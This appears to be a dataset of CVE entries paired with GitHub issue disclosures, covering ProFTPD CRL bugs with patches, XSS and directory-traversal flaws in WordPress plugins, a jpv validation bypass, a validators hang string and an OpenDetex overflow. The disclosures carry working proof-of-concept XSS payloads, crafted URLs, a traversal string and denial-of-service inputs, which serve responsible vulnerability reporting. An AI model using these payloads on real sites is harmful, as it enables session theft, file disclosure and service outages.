https://api.github.com/repos/ansible/ansible/issues/56269/comments
| 5
|
2019-05-09T14:08:26Z
|
2019-08-26T14:04:39Z
|
https://github.com/ansible/ansible/issues/56269
| 442,256,818
| 56,269
| 851
|
CVE-2019-19270
|
2019-11-26T04:15:12.950
|
An issue was discovered in tls_verify_crl in ProFTPD through 1.3.6b. Failure to check for the appropriate field of a CRL entry (checking twice for subject, rather than once for subject and once for issuer) prevents some valid CRLs from being taken into account, and can allow clients whose certificates have been revoked to proceed with a connection to the server.
|
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https://github.com/proftpd/proftpd/issues/859
|
[
"Patch",
"Third Party Advisory"
] |
github.com
|
[
"proftpd",
"proftpd"
] |
This is the 2nd of 4 bugs in the tls_verify_crl() function. The code fails to perform a CRL lookup by issuer (as the comment right above the block states), it instead performs a second lookup by subject. As a result, in our tests, after crash bugs 1 and 4 (issue #858 and issue #861) were fixed, ProFTPD still failed to take into account a valid CRL and break a connection.
The patch is as follows:
```
@@ -5982,11 +5990,11 @@
/* Try to retrieve a CRL corresponding to the _issuer_ of
* the current certificate in order to check for revocation.
*/
#if OPENSSL_VERSION_NUMBER >= 0x10100000L
- crls = X509_STORE_CTX_get1_crls(store_ctx, subject);
+ crls = X509_STORE_CTX_get1_crls(store_ctx, issuer);
#elif OPENSSL_VERSION_NUMBER >= 0x10000000L
- crls = X509_STORE_get1_crls(store_ctx, subject);
+ crls = X509_STORE_get1_crls(store_ctx, issuer);
#else
/* Your OpenSSL is before 1.0.0. You really need to upgrade. */
crls = NULL;
```
At least two other pieces of similar code, which contain the same comment as this one, are getting it right:
https://github.com/CESNET/libnetconf2/blob/master/src/session_server_tls.c
https://github.com/copiousfreetime/stunnel/blob/master/src/verify.c (outdated stunnel < 5.24)
FWIW, 4 years ago, stunnel got rid of custom CRL handling code and started relying on OpenSSL's built-in handling instead. That was between 5.23 and 5.24, compare src/verify.c from https://www.usenix.org.uk/mirrors/stunnel/archive/5.x/stunnel-5.23.tar.gz and https://www.usenix.org.uk/mirrors/stunnel/archive/5.x/stunnel-5.24.tar.gz .
I hit this issue in the summer of 2018, after fixing the two crashes (issue #858 and issue #861) when dealing with TLS CRLs using CentOS 7's ProFTPD 1.3.5e package against OpenSSL 1.0.2*.
I quickly reported the issues privately, but ProFTPD's TLS CRL handling remains broken on all branches more than a year later... I'm aware that TLS CRLs are highly unpopular, and that only system administrators are supposed to define them, but clearly, low-profile responsible disclosure didn't work here :)
Public reports, and CVE ID assignments (for which I'll use this issue as reference), piling onto the recent higher risk issue #846 (CVE-2019-18217) and older vulnerabilities should help the downstream propagation of all fixes, at least if any downstream provides security support for ProFTPD.
|
Improper TLS CRL handling 1/2 in mod_tls of ProFTPD master HEAD
|
https://api.github.com/repos/proftpd/proftpd/issues/859/comments
| 2
|
2019-11-04T16:08:50Z
|
2019-11-26T07:34:05Z
|
https://github.com/proftpd/proftpd/issues/859
| 517,251,790
| 859
| 852
|
CVE-2019-19271
|
2019-11-26T04:15:13.013
|
An issue was discovered in tls_verify_crl in ProFTPD before 1.3.6. A wrong iteration variable, used when checking a client certificate against CRL entries (installed by a system administrator), can cause some CRL entries to be ignored, and can allow clients whose certificates have been revoked to proceed with a connection to the server.
|
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github.com
|
[
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For tracking purposes (this problem is fixed in 1.3.6+).
This is the 3rd of 4 bugs in the tls_verify_crl() function. The wrong iteration variable is passed to sk_X509_REVOKED_value(), probably causing some CRL entries to be ignored. From the 1.3.5 -> 1.3.6 branches diff:
```
@@ -6001,14 +9084,15 @@ static int tls_verify_crl(int ok, X509_S
/* Check if the current certificate is revoked by this CRL */
n = sk_X509_REVOKED_num(X509_CRL_get_REVOKED(crl));
for (j = 0; j < n; j++) {
X509_REVOKED *revoked;
ASN1_INTEGER *sn;
- revoked = sk_X509_REVOKED_value(X509_CRL_get_REVOKED(crl), i);
-#if OPENSSL_VERSION_NUMBER >= 0x10100000L
+ revoked = sk_X509_REVOKED_value(X509_CRL_get_REVOKED(crl), j);
+#if OPENSSL_VERSION_NUMBER >= 0x10100000L && \
+ !defined(HAVE_LIBRESSL)
sn = X509_REVOKED_get0_serialNumber(revoked);
#else
sn = revoked->serialNumber;
#endif /* OpenSSL-1.1.x and later */
if (ASN1_INTEGER_cmp(sn, X509_get_serialNumber(xs)) == 0) {
```
FWIW as well, 4 years ago, stunnel got rid of custom CRL handling code and started relying on OpenSSL's built-in handling instead. That was between 5.23 and 5.24, compare src/verify.c from https://www.usenix.org.uk/mirrors/stunnel/archive/5.x/stunnel-5.23.tar.gz and https://www.usenix.org.uk/mirrors/stunnel/archive/5.x/stunnel-5.24.tar.gz .
I didn't hit this issue in the summer of 2018 when dealing with TLS CRLs using CentOS 7's ProFTPD 1.3.5e package, because the set of test CRLs only contained CRLs revoking at most one certificate, but I noticed it in the 1.3.5 -> 1.3.6 diff.
I quickly reported the issues privately, but ProFTPD's TLS CRL handling remains broken on all branches more than a year later... I'm aware that TLS CRLs are highly unpopular, and that only system administrators are supposed to define them, but clearly, low-profile responsible disclosure didn't work here :)
Public reports, and CVE ID assignments (for which I'll use this issue as reference), piling onto the recent higher risk issue #846 (CVE-2019-18217) and older vulnerabilities should help the downstream propagation of all fixes, at least if any downstream provides security support for ProFTPD.
|
Improper TLS CRL handling 2/2 in mod_tls of ProFTPD < 1.3.6
|
https://api.github.com/repos/proftpd/proftpd/issues/860/comments
| 2
|
2019-11-04T16:09:38Z
|
2019-11-27T15:25:05Z
|
https://github.com/proftpd/proftpd/issues/860
| 517,252,338
| 860
| 853
|
CVE-2019-19272
|
2019-11-26T04:15:13.060
|
An issue was discovered in tls_verify_crl in ProFTPD before 1.3.6. Direct dereference of a NULL pointer (a variable initialized to NULL) leads to a crash when validating the certificate of a client connecting to the server in a TLS client/server mutual-authentication setup.
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476
|
https://github.com/proftpd/proftpd/issues/858
|
[
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github.com
|
[
"proftpd",
"proftpd"
] |
For tracking purposes (this problem is fixed in 1.3.6+).
This is the 1st of 4 bugs in the tls_verify_crl() function. It's a direct nullptr dereference: variable initialized to NULL, then dereferenced. I fixed it on my side, then I noticed that it had been fixed upstream in 1.3.6. From the 1.3.5 -> 1.3.6 branches diff:
```
@@ -5899,14 +8979,15 @@ static int tls_verify_crl(int ok, X509_S
X509_CRL *crl = NULL;
EVP_PKEY *pubkey;
char buf[512];
int len;
BIO *b = BIO_new(BIO_s_mem());
+ crl = sk_X509_CRL_value(crls, i);
BIO_printf(b, "CA CRL: Issuer: ");
X509_NAME_print(b, issuer, 0);
BIO_printf(b, ", lastUpdate: ");
#if OPENSSL_VERSION_NUMBER >= 0x10100000L
ASN1_UTCTIME_print(b, X509_CRL_get_lastUpdate(crl));
#else
ASN1_UTCTIME_print(b, crl->crl->lastUpdate);
```
I'd have expected this kind of issues to be caught by static analysis.
Additionally, on my side, I used the following change:
```
- X509_NAME_print(b, issuer, 0);
+ X509_NAME_print(b, X509_CRL_get_issuer(crl), 0); // Just in case...
```
FWIW, 4 years ago, stunnel got rid of custom CRL handling code and started relying on OpenSSL's built-in handling instead. That was between 5.23 and 5.24, compare src/verify.c from https://www.usenix.org.uk/mirrors/stunnel/archive/5.x/stunnel-5.23.tar.gz and https://www.usenix.org.uk/mirrors/stunnel/archive/5.x/stunnel-5.24.tar.gz .
My colleagues hit this crash in the summer of 2018 when dealing with TLS CRLs using CentOS 7's ProFTPD 1.3.5e package against OpenSSL 1.0.2*, and then I was tasked to debug the issue.
I quickly reported the issues privately, but ProFTPD's TLS CRL handling remains broken on all branches more than a year later... I'm aware that TLS CRLs are highly unpopular, and that only system administrators are supposed to define them, but clearly, low-profile responsible disclosure didn't work here :)
Public reports, and CVE ID assignments (for which I'll use this issue as reference), piling onto the recent higher risk issue #846 (CVE-2019-18217) and older vulnerabilities should help the downstream propagation of all fixes, at least if any downstream provides security support for ProFTPD.
|
DoS (nullptr dereference) 1/2 with CRLs in mod_tls of ProFTPD < 1.3.6
|
https://api.github.com/repos/proftpd/proftpd/issues/858/comments
| 2
|
2019-11-04T16:07:44Z
|
2019-11-27T15:24:35Z
|
https://github.com/proftpd/proftpd/issues/858
| 517,251,126
| 858
| 854
|
CVE-2015-9537
|
2019-11-26T15:15:11.190
|
The NextGEN Gallery plugin before 2.1.10 for WordPress has multiple XSS issues involving thumbnail_width, thumbnail_height, thumbwidth, thumbheight, wmXpos, and wmYpos, and template.
|
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github.com
|
[
"cybersecurityworks",
"Disclosed"
] |
# Details
Word Press Product Bugs Report
Bug Name XSS (Cross Site Scripting)
Software: NextGen Gallery
Version: 2.1.7
Last Updated: 12-08-2015
Homepage: https://wordpress.org/plugins/nextgen-gallery/download/
Compatible Up to Wordpress 4.3.0 Version (Requires: 3.6.1 or higher)
Severity High
Description: Multiple XSS vulnerability in WordPress plugin NextGen Gallery
# Proof of concept: (POC)
Visit the following page on a site with this plugin installed. http://wordpresssite.com/wordpress/wp-admin/admin.php?page=nggallery-manage-gallery&mode=edit&gid=1&paged=1 and modify the value of path variable in NextGEN Gallery Photocrati Version 2.1.10 with ’></a></script><script>alert(document.cookie);</script> payload and save it to view further.
Now, the added XSS payload will be executed whenever the user reviews it.
<strong>Note:</strong> XSS payload has been tried with the application once after implementing Unfiltered Html Settings as defined to wp-config.php file.
<em><strong><center>define( 'DISALLOW_UNFILTERED_HTML', true );</center></strong></em>
<strong>Issue 1:</strong>
Vulnerable URL: http://wordpresssite.com/wordpress/wp-admin/admin.php?page=ngg_display_settings
Request: POST
Vulnerable Variable list:
• photocrati-nextgen_basic_thumbnails[thumbnail_width]
• photocrati-nextgen_basic_thumbnails[thumbnail_height]
• photocrati-nextgen_basic_thumbnails[template]
• photocrati-nextgen_basic_imagebrowser[template]
• photocrati-nextgen_basic_singlepic[template]
• photocrati-nextgen_basic_compact_album[template]
• photocrati-nextgen_basic_compact_album[thumbnail_width]
• photocrati-nextgen_basic_compact_album[thumbnail_height]
• photocrati-nextgen_basic_extended_album[template]
• photocrati-nextgen_basic_extended_album[thumbnail_width]
• photocrati-nextgen_basic_extended_album[thumbnail_height]
<strong>Figure 1:</strong> HTTP Request & response for the vulnerable variable photocrati-nextgen_basic_thumbnails[thumbnail_width]
---
<strong>Issue 2:</strong>
Vulnerable URL: http://wordpresssite.com/wordpress/wp-admin/admin.php?page=ngg_other_options
Request: POST
Vulnerable Variable list:
• thumbnail_settings[thumbwidth]
• thumbnail_settings[thumbheight]
• watermark_options[wmXpos]
• watermark_options[wmYpos]
<strong>Figure 2:</strong> HTTP Request & response for the vulnerable variable thumbnail_settings[thumbwidth]
<strong>Figure 3:</strong> XSS response executed in browser
---
<strong>Reproducing Steps</strong>
1) Logon into any wordpress application (localhost or public host)
2) Modifying the above mentioned variables in NextGEN Gallery Photocrati Version 2.1.7 (recently updated version)
3) Fill all the variables with `“><img src=x onerror=prompt(1)>` payload and save it to view further.
4) Now, the added XSS payload will be executed whenever we review it.
---
<strong>Timeline</strong>
31-08-2015 – Discovered in NextGen Gallery 2.1.7 version
31-08-2015 – Reported to WP Plugin
01-09-2015 – Fixed in 2.1.10 version of NextGen Gallery
---
<strong>Discovered by:</strong>
Sathish from <a href="http://www.cybersecurityworks.com">Cyber Security Works Pvt Ltd</a>
|
Multiple XSS in NextGEN Gallery by Photocrati Version 2.1.7
|
https://api.github.com/repos/cybersecurityworks/Disclosed/issues/1/comments
| 1
|
2015-08-27T13:22:02Z
|
2024-05-10T04:43:44Z
|
https://github.com/cybersecurityworks/Disclosed/issues/1
| 103,507,915
| 1
| 855
|
CVE-2015-9538
|
2019-11-26T15:15:11.253
|
The NextGEN Gallery plugin before 2.1.15 for WordPress allows ../ Directory Traversal in path selection.
|
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22
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https://github.com/cybersecurityworks/Disclosed/issues/2
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[
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github.com
|
[
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Word Press Product Bugs Report
Bug Name LFI (Local File Inclusion)
Area Path NextGEN Gallery by Photocrati Version 2.1.7 (Plugin)
Last Updated 12-08-2015
Compatible Up to Wordpress 4.3.0 Version (Requires: 3.6.1 or higher)
Severity High
Reported by Sathish from <a href="http://www.cybersecurityworks.com">Cyber Security Works Pvt Ltd</a> (disclose@cybersecurityworks.com)
The existed filter name with Local File Inclusion (LFI) payload is executing when the user tries to modify the File path with LFI Payload & sent to the server.
POC:
**Figure 1:** HTTP Request & Response for the vulnerable dir variable with ../../../../../../../../../../../xampp/htdocs/wordpress/ (Any traversal) payload
Note: Similarly, The user can fetch any details from any website hosted in the same server.
**Reproducing Steps:**
1) Logon into the application.
2) Access NextGEN Gallery by Photocrati Plugin
3) Click on the path selection on the given folders.
4) Modify dir variable value with ../../../../../../../../../../../xampp/htdocs/wordpress/ (Any traversal) payload in the intercepting proxy.
5) Now You can see the internal available system folders
|
Traversal Attack / Local File Inclusion (LFI) in NextGEN Gallery by Photocrati Version 2.1.7
|
https://api.github.com/repos/cybersecurityworks/Disclosed/issues/2/comments
| 0
|
2015-08-28T11:58:55Z
|
2015-11-25T11:23:59Z
|
https://github.com/cybersecurityworks/Disclosed/issues/2
| 103,705,424
| 2
| 856
|
CVE-2015-9539
|
2019-11-26T15:15:11.347
|
The Fast Secure Contact Form plugin before 4.0.38 for WordPress allows fs_contact_form1[welcome] XSS.
|
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[
"79"
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79
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https://github.com/cybersecurityworks/Disclosed/issues/4
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[
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github.com
|
[
"cybersecurityworks",
"Disclosed"
] |
# Details
Word Press Product Bugs Report
Bug Name XSS (Cross Site Scripting)
Software: Fast Secure Contact Form plugin
Version: 4.0.37
Last Updated: 21-08-2015
Homepage: https://wordpress.org/plugins/si-contact-form/
Compatible Up to Wordpress 4.3.0 Version (Requires: 3.4.2 or higher)
Severity High
Description: XSS vulnerability in WordPress plugin Fast Secure Contact Form
Changelog: https://wordpress.org/plugins/si-contact-form/changelog/
# Proof of concept
Visit the following page on a site with this plugin installed. http://yourwordpresssite.com/wordpress/wp-admin/plugins.php?page=si-contact-form%2Fsi-contact-form.php&fscf_form=1&fscf_tab=1 and modify the value of <strong>fs_contact_form1[welcome]</strong> variable with `<script>alert(document.cookie);</script>` payload and send the request to the server.
Now, the added XSS payload will be echoed back from the server without validating the input whenever we visit the script stored page.
<strong>Note:</strong> XSS payload has been tried with the application once after implementing Unfiltered Html Settings as defined to wp-config.php file.
<em><strong><center>define( 'DISALLOW_UNFILTERED_HTML', true );</center></strong></em>
<strong>Issue 1:</strong>
POST request parameter fs_contact_form1[welcome] variable in the given URL http://yourwordpresssite.com/wordpress/wp-admin/plugins.php?page=si-contact-form%2Fsi-contact-form.php&fscf_form=1&fscf_tab=1 of Fast Secure Contact Form 4.0.37 is vulnerable to Cross Site Scripting (XSS)
<strong>Figure 1:</strong> XSS Payload injected to fs_contact_form1[welcome] variable in the given URL http://yourwordpresssite.com/wordpress/wp-admin/plugins.php?page=si-contact-form%2Fsi-contact-form.php&fscf_form=1&fscf_tab=1
<strong>Figure 2:</strong> XSS Payload executed in the browser whenever the user views it.
---
<strong>Reproducing Steps</strong>
1) Logon into any wordpress application (localhost or public host)
2) Modifying the variable fs_contact_form1[welcome] in Fast Secure Contact Form 4.0.37 (recently updated version) in the URL http://yourwordpresssite.com/wordpress/wp-admin/plugins.php?page=si-contact-form%2Fsi-contact-form.php&fscf_form=1&fscf_tab=1
3) Fill all the variables with `<script>alert(document.cookie);</script>` payload and save it to view further.
4) Now, the added XSS payload will be executed whenever the user reviews it.
---
<strong>Timeline</strong>
05-09-2015 – Discovered in Fast Secure Contact Form plugin 4.0.37 Version
07-09-2015 – Reported to WP Plugin
07-09-2015 – WP Plugin responded, "Thank you for reporting this plugin. We're looking into it right now."
08-09-2015 – Fixed in 4.0.38 version of Fast Secure Contact Form plugin
---
<strong>Discovered by:</strong>
Sathish from <a href="http://www.cybersecurityworks.com">Cyber Security Works Pvt Ltd</a>
|
XSS Vulnerability in Fast Secure Contact form version 4.0.37
|
https://api.github.com/repos/cybersecurityworks/Disclosed/issues/4/comments
| 0
|
2015-09-14T10:50:07Z
|
2015-09-14T10:58:55Z
|
https://github.com/cybersecurityworks/Disclosed/issues/4
| 106,317,022
| 4
| 857
|
CVE-2019-19306
|
2019-11-26T15:15:13.377
|
The Zoho CRM Lead Magnet plugin 1.6.9.1 for WordPress allows XSS via module, EditShortcode, or LayoutName.
|
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[
"79"
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79
|
https://github.com/cybersecurityworks/Disclosed/issues/16
|
[
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"Third Party Advisory"
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github.com
|
[
"cybersecurityworks",
"Disclosed"
] |
# Details
ZOHO CRM Lead Magnet version 1.6.9.1
Bug Name: Reflected Cross Site Scripting (XSS) in WordPress Plugin
Product: ZOHO CRM Lead Magnet version 1.6.9.1
Version: 1.6.9.1
Last Updated: 14-10-2019
Homepage: http://localhost/wordpress/
Severity: High
Status: Fixed
Exploitation Requires Authentication?: yes
Vulnerable URL: http://localhost/wordpress/wp-admin/admin.php?page=create-leadform-builder&__module=ManageShortcodes&__action=zcfCrmManageFieldsLists&onAction=onCreate&crmtype=crmformswpbuilder&module=Leads&EditShortcode=58H3N&LayoutName=Standard&formName=Unititled
Vulnerable Variable: <strong>Module & EditShortcode & LayoutName</strong>
# Description:
A cross site scripting (XSS) attack can cause arbitrary code (java script) to run in a user’s browser while the browser is connected to a trusted web site. The application targets your application’s users and not the application itself, but it uses your application as the vehicle for the attack. XSS payload is executing when the user loads an create lead form page created in <strong> Zoho CRM Lead Magnet Version 1.6.9.1 </strong>
# Proof of concept: (POC)
<strong>Issue 1:</strong>
By exploiting a Cross-site scripting vulnerability an attacker easily gain access to user’s session by stealing cookies and also exploit the user browser.
1. Login to the application
2. Install <a href="https://wordpress.org/plugins/zoho-crm-forms/">Zoho CRM Lead Magnet Plugin</a>
<strong>Figure 01:</strong> Zoho CRM Lead Magnet
3. Configure the <strong>client id</strong> and <strong>secret key</strong>
<strong>Figure 02:</strong> client key and secret id are filled in Authenticating Zoho CRM Plugin
4. Click on <strong>Create New Form</strong> button and fill the values and click on <strong>Next</strong> button
<strong>Figure 03:</strong> new form in Zoho CRM Plugin
5. Add the payload `<img src=x onerror=alert(document.cookie)>` to the vulnerable parameters by intercepting the request in a proxy tool.
<strong>Figure 04:</strong> Request with XSS payload sent to the server
<strong>Figure 05:</strong> Request and response captured in the proxy
6. Injected XSS payload is successfully executed when the user visits or reloads the page
<strong>Figure 06:</strong> The JavaScript is successfully executed in the victim browser context
<strong>Figure 07:</strong> The WordPress application running on version 5.2.3
<strong>Figure 08:</strong> The WordPress <strong>Zoho CRM Lead Magnet plugin Version: 1.6.9.1</strong>
<strong>Figure 09:</strong> The default cross-site scripting mitigation setting in <strong>wp.config</strong> file to prevent cross site scripting attacks.
---
<strong>Reproducing Steps</strong>
1. Logon into WordPress application in localhost
2. Access the vulnerable GET Request <a href="http://localhost/wordpress/wp-admin/admin.php?page=create-leadform-builder&__module=ManageShortcodes&__action=zcfCrmManageFieldsLists&onAction=onCreate&crmtype=crmformswpbuilder&module=Lea%3Cimg%20src=x%20onerror=alert(document.cookie)%3Eds&EditShortcode=58H%3Cimg%20src=x%20onerror=alert(document.cookie)%3E3N&LayoutName=Stan%3Cimg%20src=x%20onerror=alert(document.cookie)%3Edard&formName=Unititled">URL</a> with XSS payload inserted into the vulnerable variable.
3. XSS will get executed in the user machine once the user clicks on the given vulnerable <a href="http://localhost/wordpress/wp-admin/admin.php?page=create-leadform-builder&__module=ManageShortcodes&__action=zcfCrmManageFieldsLists&onAction=onCreate&crmtype=crmformswpbuilder&module=Lea%3Cimg%20src=x%20onerror=alert(document.cookie)%3Eds&EditShortcode=58H%3Cimg%20src=x%20onerror=alert(document.cookie)%3E3N&LayoutName=Stan%3Cimg%20src=x%20onerror=alert(document.cookie)%3Edard&formName=Unititled">link.</a>
---
<strong>Timeline</strong>
2019-10-13 – Discovered in `WordPress( Zoho CRM Lead Magnet Plugin )` Product
2019-10-14 – Reported to plugins@wordpress.org
2019-10-15 – Received instant response from WordPress plugin team.
2019-10-15 – Issue acknowledged and fixed immediately.
2019-10-16 – Came up with a write up <a href="https://github.com/cybersecurityworks/Disclosed/issues/16">here.</a>
---
<strong>Discovered by:</strong>
Saran Baskar from <a href="http://www.cybersecurityworks.com">Cyber Security Works Research Lab</a>
|
ZOHO CRM Lead Magnet version 1.6.9.1
|
https://api.github.com/repos/cybersecurityworks/Disclosed/issues/16/comments
| 0
|
2019-10-16T11:06:22Z
|
2019-10-16T13:31:02Z
|
https://github.com/cybersecurityworks/Disclosed/issues/16
| 507,779,866
| 16
| 858
|
CVE-2019-19375
|
2019-11-28T17:15:12.383
|
In Octopus Deploy before 2019.10.7, in a configuration where SSL offloading is enabled, the CSRF cookie was sometimes sent without the secure attribute. (The fix for this was backported to LTS versions 2019.6.14 and 2019.9.8.)
|
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[
"352"
] |
352
|
https://github.com/OctopusDeploy/Issues/issues/5998
|
[
"Third Party Advisory"
] |
github.com
|
[
"OctopusDeploy",
"Issues"
] |
When Octopus is configured to behind a load balancer, and SSL offloading is configured, Octopus will sometimes send the CSRF cookie without the `secure` attribute.
CVE: `CVE-2019-19375`
Relates to https://github.com/OctopusDeploy/OctopusDeploy/issues/4763
|
CSRF cookie sometimes missing secure attribute
|
https://api.github.com/repos/OctopusDeploy/Issues/issues/5998/comments
| 2
|
2019-11-14T02:15:57Z
|
2020-02-28T07:02:35Z
|
https://github.com/OctopusDeploy/Issues/issues/5998
| 522,581,170
| 5,998
| 860
|
CVE-2019-19269
|
2019-11-30T23:15:18.223
|
An issue was discovered in tls_verify_crl in ProFTPD through 1.3.6b. A dereference of a NULL pointer may occur. This pointer is returned by the OpenSSL sk_X509_REVOKED_value() function when encountering an empty CRL installed by a system administrator. The dereference occurs when validating the certificate of a client connecting to the server in a TLS client/server mutual-authentication setup.
|
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[
"476"
] |
476
|
https://github.com/proftpd/proftpd/issues/861
|
[
"Patch",
"Third Party Advisory"
] |
github.com
|
[
"proftpd",
"proftpd"
] |
This is the 4th of 4 bugs in the tls_verify_crl() function. The code fails to take into account an empty CRL, for which sk_X509_REVOKED_value() returned NULL in my tests. It proceeds to dereferencing the NULL pointer, crashing the application.
My patch is as follows:
```
@@ -6005,7 +6014,8 @@
ASN1_INTEGER *sn;
revoked = sk_X509_REVOKED_value(X509_CRL_get_REVOKED(crl), j);
+ if (!revoked) continue;
#if OPENSSL_VERSION_NUMBER >= 0x10100000L
sn = X509_REVOKED_get0_serialNumber(revoked);
#else
sn = revoked->serialNumber;
```
Both of the other code bases which I noticed were getting the issuer CRL lookup right (second bug, issue #859) fail to check the return value against NULL as well:
https://github.com/CESNET/libnetconf2/blob/master/src/session_server_tls.c
https://github.com/copiousfreetime/stunnel/blob/master/src/verify.c (outdated stunnel < 5.24)
FWIW, 4 years ago, stunnel got rid of custom CRL handling code and started relying on OpenSSL's built-in handling instead. That was between 5.23 and 5.24, compare src/verify.c from https://www.usenix.org.uk/mirrors/stunnel/archive/5.x/stunnel-5.23.tar.gz and https://www.usenix.org.uk/mirrors/stunnel/archive/5.x/stunnel-5.24.tar.gz .
I hit this crash in the summer of 2018, after fixing the first crash (issue #858) when dealing with TLS CRLs using CentOS 7's ProFTPD 1.3.5e package against OpenSSL 1.0.2*.
I quickly reported the issues privately, but ProFTPD's TLS CRL handling remains broken on all branches more than a year later... I'm aware that TLS CRLs are highly unpopular, and that only system administrators are supposed to define them, but clearly, low-profile responsible disclosure didn't work here :)
Public reports, and CVE ID assignments (for which I'll use this issue as reference), piling onto the recent higher risk issue #846 (CVE-2019-18217) and older vulnerabilities should help the downstream propagation of all fixes, at least if any downstream provides security support for ProFTPD.
|
DoS (nullptr dereference) 2/2 with CRLs in mod_tls of ProFTPD master HEAD
|
https://api.github.com/repos/proftpd/proftpd/issues/861/comments
| 2
|
2019-11-04T16:10:29Z
|
2019-11-26T07:33:45Z
|
https://github.com/proftpd/proftpd/issues/861
| 517,252,879
| 861
| 862
|
CVE-2019-19507
|
2019-12-02T17:15:13.187
|
In jpv (aka Json Pattern Validator) before 2.1.1, compareCommon() can be bypassed because certain internal attributes can be overwritten via a conflicting name, as demonstrated by 'constructor': {'name':'Array'}. This affects validate(). Hence, a crafted payload can overwrite this builtin attribute to manipulate the type detection result.
|
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"type": "Primary"
}
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|
[
{
"source": "cve@mitre.org",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/manvel-khnkoyan/jpv/issues/6"
},
{
"source": "cve@mitre.org",
"tags": [
"Product"
],
"url": "https://www.npmjs.com/package/jpv"
},
{
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"tags": [
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"Issue Tracking",
"Third Party Advisory"
],
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},
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"tags": [
"Product"
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"url": "https://www.npmjs.com/package/jpv"
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[
"287"
] |
287
|
https://github.com/manvel-khnkoyan/jpv/issues/6
|
[
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] |
github.com
|
[
"manvel-khnkoyan",
"jpv"
] |
We found that a maliciously crafted json can bypass the validation logics of jpv.
The vulnerability is from the following code: jpv leverages the built-in constructor of unsafe user-input to detect type information. However, a crafted payload can overwrite this builtin attribute to manipulate the type detection result.
https://github.com/manvel-khnkoyan/jpv/blob/e93d2f68126f837707427ff6019c448611fe1a1b/index.js#L117-L125
Reproduce Script
```
"use strict";
var jpv = require('jpv');
var path = require('path');
var utils = require("../TestcaseUtils.js");
var user_input = {
should_be_arrary: {"a":1, 'constructor': {'name':'Array'}}
};
var pattern = {
should_be_arrary: []
};
console.log(jpv.validate(user_input, pattern));
```
|
A vulnerability in validate()
|
https://api.github.com/repos/manvel-khnkoyan/jpv/issues/6/comments
| 1
|
2019-11-28T22:12:05Z
|
2019-12-02T09:14:57Z
|
https://github.com/manvel-khnkoyan/jpv/issues/6
| 530,087,847
| 6
| 863
|
CVE-2019-19588
|
2019-12-05T01:15:14.317
|
The validators package 0.12.2 through 0.12.5 for Python enters an infinite loop when validators.domain is called with a crafted domain string. This is fixed in 0.12.6.
|
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"availabilityImpact": "COMPLETE",
"baseScore": 7.8,
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"integrityImpact": "NONE",
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"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
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|
[
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"source": "cve@mitre.org",
"tags": [
"Exploit",
"Third Party Advisory"
],
"url": "https://github.com/kvesteri/validators/issues/86"
},
{
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}
] |
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[
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835
|
https://github.com/kvesteri/validators/issues/86
|
[
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github.com
|
[
"kvesteri",
"validators"
] |
The following string makes validators 0.12.2 get lock at 100% CPU forever.
```
crazy_string='p.wo.wo.wo.wo.wo.wo.wo.wo.wo.wo.wo.wo.wo.wo.wo.wo.wo.wo.wo.wo.wo.wo.wo.wo.wo.wo.wo.wo.wo.wo.wo.wo.wo.wo.wo.wo.wo.'
```
Logs:
```
root@db8fc13972fc:/myapp# pip list | grep validators
validators 0.12.2
root@db8fc13972fc:/myapp# python --version
Python 2.7.15
root@db8fc13972fc:/myapp# python
Python 2.7.15 (default, May 5 2018, 03:27:20)
[GCC 6.3.0 20170516] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import validators
>>> crazy_string='p.wo.wo.wo.wo.wo.wo.wo.wo.wo.wo.wo.wo.wo.wo.wo.wo.wo.wo.wo.wo.wo.wo.wo.wo.wo.wo.wo.wo.wo.wo.wo.wo.wo.wo.wo.wo.wo.'
>>> validators.domain(crazy_string)
```
(The ```validators.domain(crazy_string)``` never ends. If I go to htop, the python process is at 100% CPU)
With version 0.12.1 this doesn't happen.
Logs:
```
root@db8fc13972fc:/myapp# pip list | grep validators
validators 0.12.1
root@db8fc13972fc:/myapp# python
Python 2.7.15 (default, May 5 2018, 03:27:20)
[GCC 6.3.0 20170516] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import validators
>>> crazy_string='p.wo.wo.wo.wo.wo.wo.wo.wo.wo.wo.wo.wo.wo.wo.wo.wo.wo.wo.wo.wo.wo.wo.wo.wo.wo.wo.wo.wo.wo.wo.wo.wo.wo.wo.wo.wo.wo.'
>>> validators.domain(crazy_string)
ValidationFailure(func=domain, args={'value': 'p.wo.wo.wo.wo.wo.wo.wo.wo.wo.wo.wo.wo.wo.wo.wo.wo.wo.wo.wo.wo.wo.wo.wo.wo.wo.wo.wo.wo.wo.wo.wo.wo.wo.wo.wo.wo.wo.'})
```
The environment for tests was ```python:2.7-stretch``` Docker image from 2 days ago.
Temporary fix:
uninstall 0.12.2 and install 0.12.1
|
Text string that causes validators.domain to lock at 100% CPU usage
|
https://api.github.com/repos/python-validators/validators/issues/86/comments
| 1
|
2018-06-06T23:00:03Z
|
2019-12-04T13:13:21Z
|
https://github.com/python-validators/validators/issues/86
| 330,061,628
| 86
| 865
|
CVE-2019-19601
|
2019-12-05T13:15:11.970
|
OpenDetex 2.8.5 has a Buffer Overflow in TexOpen in detex.l because of an incorrect sprintf.
|
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119
|
https://github.com/pkubowicz/opendetex/issues/60
|
[
"Exploit",
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github.com
|
[
"pkubowicz",
"opendetex"
] |
Hi,
While fuzzing OpenDetex with Honggfuzz, I found a buffer overflow in the TexOpen() function, in detex.l.
Attaching a reproducer (gzipped so GitHub accepts it): [test01.gz](https://github.com/pkubowicz/opendetex/files/3925690/test01.gz)
Issue can be reproduced by running:
```
detex test01
```
```
=================================================================
==2795==ERROR: AddressSanitizer: global-buffer-overflow on address 0x000000db1540 at pc 0x00000043a607 bp 0x7ffdb2beab20 sp 0x7ffdb2bea2b8
WRITE of size 6062 at 0x000000db1540 thread T0
#0 0x43a606 in vsprintf (/home/fcambus/opendetex-2.8.5/detex+0x43a606)
#1 0x43b593 in sprintf (/home/fcambus/opendetex-2.8.5/detex+0x43b593)
#2 0x4cbbb5 in TexOpen /home/fcambus/opendetex-2.8.5/detex.l:904:9
#3 0x4c6cbd in IncludeFile /home/fcambus/opendetex-2.8.5/detex.l:756:14
#4 0x4c4382 in yylex /home/fcambus/opendetex-2.8.5/detex.l
